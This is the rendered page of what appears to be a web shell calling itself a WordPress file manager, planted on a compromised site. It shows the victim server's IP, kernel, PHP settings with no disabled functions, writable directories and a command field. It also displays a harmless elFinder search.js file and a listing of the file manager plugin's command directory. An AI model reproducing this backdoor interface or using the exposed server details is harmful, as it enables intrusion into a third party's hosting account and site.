GRAYBYTE WORDPRESS FILE MANAGER2755

Server IP : 198.54.121.189 / Your IP : 216.73.216.224
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/trustyourlawyer.com/wp-content/plugins/wp-file-manager/lib/js/commands/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/trustyourlawyer.com/wp-content/plugins/wp-file-manager/lib/js/commands//search.js
/**
 * @class  elFinder command "search"
 * Find files
 *
 * @author Dmitry (dio) Levashov
 **/
elFinder.prototype.commands.search = function() {
	"use strict";
	this.title          = 'Find files';
	this.options        = {ui : 'searchbutton'};
	this.alwaysEnabled  = true;
	this.updateOnSelect = false;
	
	/**
	 * Return command status.
	 * Search does not support old api.
	 *
	 * @return Number
	 **/
	this.getstate = function() {
		return 0;
	};
	
	/**
	 * Send search request to backend.
	 *
	 * @param  String  search string
	 * @return jQuery.Deferred
	 **/
	this.exec = function(q, target, mime, type) {
		var fm = this.fm,
			reqDef = [],
			sType = type || '',
			onlyMimes = fm.options.onlyMimes,
			phash, targetVolids = [],
			setType = function(data) {
				if (sType && sType !== 'SearchName' && sType !== 'SearchMime') {
					data.type = sType;
				}
				return data;
			},
			rootCnt;
		
		if (typeof q == 'string' && q) {
			if (typeof target == 'object') {
				mime = target.mime || '';
				target = target.target || '';
			}
			target = target? target : '';
			if (mime) {
				mime = jQuery.trim(mime).replace(',', ' ').split(' ');
				if (onlyMimes.length) {
					mime = jQuery.map(mime, function(m){ 
						m = jQuery.trim(m);
						return m && (jQuery.inArray(m, onlyMimes) !== -1
									|| jQuery.grep(onlyMimes, function(om) { return m.indexOf(om) === 0? true : false; }).length
									)? m : null;
					});
				}
			} else {
				mime = [].concat(onlyMimes);
			}

			fm.trigger('searchstart', setType({query : q, target : target, mimes : mime}));
			
			if (! onlyMimes.length || mime.length) {
				if (target === '' && fm.api >= 2.1) {
					rootCnt = Object.keys(fm.roots).length;
					jQuery.each(fm.roots, function(id, hash) {
						reqDef.push(fm.request({
							data   : setType({cmd : 'search', q : q, target : hash, mimes : mime}),
							notify : {type : 'search', cnt : 1, hideCnt : (rootCnt > 1? false : true)},
							cancel : true,
							preventDone : true
						}));
					});
				} else {
					reqDef.push(fm.request({
						data   : setType({cmd : 'search', q : q, target : target, mimes : mime}),
						notify : {type : 'search', cnt : 1, hideCnt : true},
						cancel : true,
						preventDone : true
					}));
					if (target !== '' && fm.api >= 2.1 && Object.keys(fm.leafRoots).length) {
						jQuery.each(fm.leafRoots, function(hash, roots) {
							phash = hash;
							while(phash) {
								if (target === phash) {
									jQuery.each(roots, function() {
										var f = fm.file(this);
										f && f.volumeid && targetVolids.push(f.volumeid);
										reqDef.push(fm.request({
											data   : setType({cmd : 'search', q : q, target : this, mimes : mime}),
											notify : {type : 'search', cnt : 1, hideCnt : false},
											cancel : true,
											preventDone : true
										}));
									});
								}
								phash = (fm.file(phash) || {}).phash;
							}
						});
					}
				}
			} else {
				reqDef = [jQuery.Deferred().resolve({files: []})];
			}
			
			fm.searchStatus.mixed = (reqDef.length > 1)? targetVolids : false;
			
			return jQuery.when.apply($, reqDef).done(function(data) {
				var argLen = arguments.length,
					i;
				
				data.warning && fm.error(data.warning);
				
				if (argLen > 1) {
					data.files = (data.files || []);
					for(i = 1; i < argLen; i++) {
						arguments[i].warning && fm.error(arguments[i].warning);
						
						if (arguments[i].files) {
							data.files.push.apply(data.files, arguments[i].files);
						}
					}
				}
				
				// because "preventDone : true" so update files cache
				data.files && data.files.length && fm.cache(data.files);
				
				fm.lazy(function() {
					fm.trigger('search', data);
				}).then(function() {
					// fire event with command name + 'done'
					return fm.lazy(function() {
						fm.trigger('searchdone');
					});
				}).then(function() {
					// force update content
					data.sync && fm.sync();
				});
			});
		}
		fm.getUI('toolbar').find('.'+fm.res('class', 'searchbtn')+' :text').trigger('focus');
		return jQuery.Deferred().reject();
	};

};

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:21
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:21
giriqfky / giriqfky
0644
archive.js
2.471 KB
December 28 2021 14:26:10
giriqfky / giriqfky
0644
back.js
0.5 KB
May 14 2020 14:55:48
giriqfky / giriqfky
0644
chmod.js
9.366 KB
December 28 2021 14:26:10
giriqfky / giriqfky
0644
colwidth.js
0.469 KB
May 25 2020 10:48:08
giriqfky / giriqfky
0644
copy.js
0.963 KB
December 28 2021 14:26:10
giriqfky / giriqfky
0644
cut.js
1.119 KB
December 28 2021 14:26:10
giriqfky / giriqfky
0644
download.js
16.606 KB
December 28 2021 14:26:10
giriqfky / giriqfky
0644
duplicate.js
1.359 KB
December 28 2021 14:26:10
giriqfky / giriqfky
0644
edit.js
34.482 KB
April 19 2022 14:33:36
giriqfky / giriqfky
0644
empty.js
3.315 KB
December 28 2021 14:26:10
giriqfky / giriqfky
0644
extract.js
5.177 KB
December 28 2021 14:26:10
giriqfky / giriqfky
0644
forward.js
0.497 KB
May 14 2020 14:55:48
giriqfky / giriqfky
0644
fullscreen.js
1.049 KB
September 01 2020 13:09:26
giriqfky / giriqfky
0644
getfile.js
4.065 KB
December 28 2021 14:26:10
giriqfky / giriqfky
0644
help.js
14.206 KB
December 28 2021 14:26:10
giriqfky / giriqfky
0644
hidden.js
0.27 KB
May 14 2020 14:55:48
giriqfky / giriqfky
0644
hide.js
4.263 KB
May 25 2020 10:48:08
giriqfky / giriqfky
0644
home.js
0.516 KB
May 14 2020 14:55:48
giriqfky / giriqfky
0644
info.js
13.132 KB
April 19 2022 14:33:36
giriqfky / giriqfky
0644
mkdir.js
2.514 KB
December 28 2021 14:26:10
giriqfky / giriqfky
0644
mkfile.js
1.636 KB
April 19 2022 14:33:36
giriqfky / giriqfky
0644
netmount.js
10.431 KB
September 01 2020 13:09:26
giriqfky / giriqfky
0644
open.js
6.784 KB
December 28 2021 14:26:10
giriqfky / giriqfky
0644
opendir.js
0.865 KB
May 25 2020 10:48:08
giriqfky / giriqfky
0644
opennew.js
1.213 KB
May 25 2020 10:48:08
giriqfky / giriqfky
0644
paste.js
10.167 KB
May 25 2020 10:48:08
giriqfky / giriqfky
0644
places.js
0.755 KB
December 28 2021 14:26:10
giriqfky / giriqfky
0644
preference.js
21.367 KB
April 19 2022 14:33:36
giriqfky / giriqfky
0644
quicklook.js
23.872 KB
May 25 2020 10:48:08
giriqfky / giriqfky
0644
quicklook.plugins.js
58.508 KB
February 08 2021 12:11:18
giriqfky / giriqfky
0644
reload.js
1.859 KB
May 25 2020 10:48:08
giriqfky / giriqfky
0644
rename.js
15.917 KB
May 25 2020 10:48:08
giriqfky / giriqfky
0644
resize.js
52.169 KB
December 28 2021 14:26:10
giriqfky / giriqfky
0644
restore.js
7.446 KB
May 25 2020 10:48:08
giriqfky / giriqfky
0644
rm.js
14.416 KB
December 28 2021 14:26:10
giriqfky / giriqfky
0644
search.js
4.014 KB
May 25 2020 10:48:08
giriqfky / giriqfky
0644
selectall.js
0.592 KB
May 25 2020 10:48:08
giriqfky / giriqfky
0644
selectinvert.js
0.46 KB
May 25 2020 10:48:08
giriqfky / giriqfky
0644
selectnone.js
0.518 KB
May 25 2020 10:48:08
giriqfky / giriqfky
0644
sort.js
4.317 KB
May 25 2020 10:48:08
giriqfky / giriqfky
0644
undo.js
3.616 KB
May 25 2020 10:48:08
giriqfky / giriqfky
0644
up.js
0.693 KB
May 25 2020 10:48:08
giriqfky / giriqfky
0644
upload.js
12.398 KB
December 28 2021 14:26:10
giriqfky / giriqfky
0644
view.js
2.801 KB
May 25 2020 10:48:08
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF